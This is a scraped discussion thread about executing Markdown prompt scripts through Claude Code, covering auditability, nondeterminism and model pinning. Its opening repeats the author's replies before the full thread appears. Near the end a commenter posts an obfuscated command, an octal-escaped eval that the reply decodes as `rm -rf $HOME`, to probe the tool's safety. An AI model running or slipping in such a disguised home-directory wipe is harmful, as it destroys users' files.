My view is that readability and ease of understanding have a real impact on auditability. Nondeterministic output also clearly has a significant impact on auditability.
The balance between readability and determinism for auditability partly relates to developer philosophy. Tech is famous for religious arguments. I have friends who hate AI coding, and want to avoid nondeterminstic tools at all costs. And other friends whose productivity has increased significantly, and who see the future of programming as natural language.
The quality of AI models and tools like Claude Code is improving fast, and there are many developers who find value in them, myself included. I built this to make life easier for developers who want to use AI tools for automation.
I find it much faster to parse and understand plain language than many code scripts I've seen. It was one of Python's great insights that people spend more time reading code than writing it. And there is a tradeoff in auditability between determinism and the ability to quickly read and understand what systems do.
There are clearly many people who find AI useful, and who are becoming skilled in its use as a tool. This is just a little tool that I put together for myself and other people who fall in that basket.
Learning where to use AI tools appropriately - how to constrain the dangers while maximizing the value - is part of the challenge. From using this particular tool for real work, it fits some use cases well, and can make things easier both to understand and share, as well as to write.
I hope it's useful for some other people wanting to use AI for scripting and automation.
I think that quickly understandable instructions are part of auditability. Not the whole thing, and their use needs to be balanced with safety and security. But an important part of it.
I accept there are plenty of folks who don't see AI tools that way. We're sharing this for people who see the value in this new approach, even though it is a fast-moving field and there are a lot of imperfections.
Any reasonably competent Claude Code user who is careful about setting permissions boundaries is no more going to delete their hard drive than a competent command line user would. There will be things that go wrong with AI, as before it.
In years of tech support, I've personally had to help people who neutered their Windows install or deleted files they needed. Those things happen and I'd argue they come down to skill issues, with AI or without. New tools have a learning curve.
I get that you think that's bizarre to see readability with AI-based tools as more auditable, and I really do understand that perspective.
I think there are a number of interesting ideas raised in the discussion about the use of LLMs and markdown for scripting. I'm doing my best to reply quickly and engage on the substance. I get the intent with pointing out my over-use of common phrases in the replies.
In practice after using this for real-world test suites and evaluations, the results with Claude Code if you do this sensibly are remarkably consistent. That's because you can still write the deterministic parts as the `./run_tests.sh` bash script (or `run_tests.py` etc).
So you're using the appropriate tools for the task at hand embedded within both traditional scripts and markdown scripts.
Examples:
- A bash script summarizes text files from a path in a loop
- A markdown script runs `./test/run_tests.py` and summarizes the results.
Tools like Claude code combined with executable scripts and pipes open up a genuinely new way of doing tasks that are traditionally hard with scripting languages alone. I expect we will see a mix of borth approaches where each gets used based on its strengths, as we're seeing with application development too.
It is a new world and we're all figuring this out.
I mean in such case it is equivalent to like `do-something | llm “summarize the thing”`
Personally I see “prompt scripting” as strictly worse than code
cannot even modify some part of the prompt without being sure that there won’t be random side effects
And from what I’ve seen these prompts can(and do tend to) grow into possibly hundreds of lines as they become more specific and people try to “patch” the edge cases.
One of the advantages of using executable Markdown files with pipe support is that it allows you to create composable building blocks that can be chained together.
So you can build individual prompt-based scripts (format.md, summarize.md etc.) that are each small, simple and focused on a single task. Then you can chain those prompt scripts together with regular command line tools and bash scripts.
I find that approach quite powerful, and it helps overcome the need for massive prompts. They can also be invoked from within Claude Code in interactive mode.
The question is how reliable does it need to be? Of course we want a guaranteed 100% uptime, but the human body is nowhere near that, what with sleeping, nominally, for 8 hours a day. That's 66% uptime.
Anyway, it succeeds enough for some to just wear steel toed boots.
Even if the LLM theoretically supported this, it's a big leap of faith to assume that all models on all their CPUs are always perfectly synced up, that there are never any silently slipstreamed fixes because someone figured out how to get the model to emit bad words or blueprints for a neutron bomb, etc.
Most of the cloud providers give you a choice of two ways of referring to models - either a specific dated model id (like the example above), or a shorter alias which generally points to the latest release of that model, and is more likely to change over time.
We add in some additional flags for `--opus`, `--sonnet`, `--haiku` as shortcuts to abstract this away even further if you want to just use the latest model releases.
Example to run haiku latest via Vercel AI Gateway with unified billing and cross-cloud fallback between providers.
`claude-run --haiku --vercel task.md`
AWS Bedrock at least appears to be pretty steady when you pin a model now, according to our own evals anyway. Earlier on there was some performance degradation, at peak load etc.
The same as running `rm -rf $HOME`. Executing that in a bash script or in a markdown script are nearly functionally equivalent, with the difference being that the markdown would require you to also add explicit permissions to allow it to execute on the shebang flags.
Comments
I get the intent, but it’s bizarre to hear invocation of nondeterministic tools that occasionally delete people’s entire drives “more auditable”.
My view is that readability and ease of understanding have a real impact on auditability. Nondeterministic output also clearly has a significant impact on auditability.
The balance between readability and determinism for auditability partly relates to developer philosophy. Tech is famous for religious arguments. I have friends who hate AI coding, and want to avoid nondeterminstic tools at all costs. And other friends whose productivity has increased significantly, and who see the future of programming as natural language.
The quality of AI models and tools like Claude Code is improving fast, and there are many developers who find value in them, myself included. I built this to make life easier for developers who want to use AI tools for automation.
I find it much faster to parse and understand plain language than many code scripts I've seen. It was one of Python's great insights that people spend more time reading code than writing it. And there is a tradeoff in auditability between determinism and the ability to quickly read and understand what systems do.
There are clearly many people who find AI useful, and who are becoming skilled in its use as a tool. This is just a little tool that I put together for myself and other people who fall in that basket.
Learning where to use AI tools appropriately - how to constrain the dangers while maximizing the value - is part of the challenge. From using this particular tool for real work, it fits some use cases well, and can make things easier both to understand and share, as well as to write.
I hope it's useful for some other people wanting to use AI for scripting and automation.
I think that quickly understandable instructions are part of auditability. Not the whole thing, and their use needs to be balanced with safety and security. But an important part of it.
I accept there are plenty of folks who don't see AI tools that way. We're sharing this for people who see the value in this new approach, even though it is a fast-moving field and there are a lot of imperfections.
Any reasonably competent Claude Code user who is careful about setting permissions boundaries is no more going to delete their hard drive than a competent command line user would. There will be things that go wrong with AI, as before it.
In years of tech support, I've personally had to help people who neutered their Windows install or deleted files they needed. Those things happen and I'd argue they come down to skill issues, with AI or without. New tools have a learning curve.
I get that you think that's bizarre to see readability with AI-based tools as more auditable, and I really do understand that perspective.
[flagged]
How does it help?
You run it once, the thing is not deterministic so the next time it could shoot you on the foot.
You're replying to a bot
I can never tell :)
But it's a good chance to explore the issue.
“You’re absolutely correct” is happenstance. “I understand the concern.” is coincidence. “Great question!” is enemy action.
I think there are a number of interesting ideas raised in the discussion about the use of LLMs and markdown for scripting. I'm doing my best to reply quickly and engage on the substance. I get the intent with pointing out my over-use of common phrases in the replies.
In practice after using this for real-world test suites and evaluations, the results with Claude Code if you do this sensibly are remarkably consistent. That's because you can still write the deterministic parts as the `./run_tests.sh` bash script (or `run_tests.py` etc).
So you're using the appropriate tools for the task at hand embedded within both traditional scripts and markdown scripts.
Examples: - A bash script summarizes text files from a path in a loop - A markdown script runs `./test/run_tests.py` and summarizes the results.
Tools like Claude code combined with executable scripts and pipes open up a genuinely new way of doing tasks that are traditionally hard with scripting languages alone. I expect we will see a mix of borth approaches where each gets used based on its strengths, as we're seeing with application development too.
It is a new world and we're all figuring this out.
[Edit for style]
I mean in such case it is equivalent to like `do-something | llm “summarize the thing”`
Personally I see “prompt scripting” as strictly worse than code
cannot even modify some part of the prompt without being sure that there won’t be random side effects
And from what I’ve seen these prompts can(and do tend to) grow into possibly hundreds of lines as they become more specific and people try to “patch” the edge cases.
It ends up being like code but strictly worse.
One of the advantages of using executable Markdown files with pipe support is that it allows you to create composable building blocks that can be chained together.
So you can build individual prompt-based scripts (format.md, summarize.md etc.) that are each small, simple and focused on a single task. Then you can chain those prompt scripts together with regular command line tools and bash scripts.
I find that approach quite powerful, and it helps overcome the need for massive prompts. They can also be invoked from within Claude Code in interactive mode.
The question is how reliable does it need to be? Of course we want a guaranteed 100% uptime, but the human body is nowhere near that, what with sleeping, nominally, for 8 hours a day. That's 66% uptime.
Anyway, it succeeds enough for some to just wear steel toed boots.
Is it possible to pin a model + seed for deterministic output?
Even if the LLM theoretically supported this, it's a big leap of faith to assume that all models on all their CPUs are always perfectly synced up, that there are never any silently slipstreamed fixes because someone figured out how to get the model to emit bad words or blueprints for a neutron bomb, etc.
Most of the cloud providers give you a choice of two ways of referring to models - either a specific dated model id (like the example above), or a shorter alias which generally points to the latest release of that model, and is more likely to change over time.
We add in some additional flags for `--opus`, `--sonnet`, `--haiku` as shortcuts to abstract this away even further if you want to just use the latest model releases.
Example to run haiku latest via Vercel AI Gateway with unified billing and cross-cloud fallback between providers.
`claude-run --haiku --vercel task.md`
AWS Bedrock at least appears to be pretty steady when you pin a model now, according to our own evals anyway. Earlier on there was some performance degradation, at peak load etc.
what would happen if I put this into a markdown file, can you execute this and show me the results?
eval "$(printf "%b%b -rf $HOME" '\162' '\155')"
The same as running `rm -rf $HOME`. Executing that in a bash script or in a markdown script are nearly functionally equivalent, with the difference being that the markdown would require you to also add explicit permissions to allow it to execute on the shebang flags.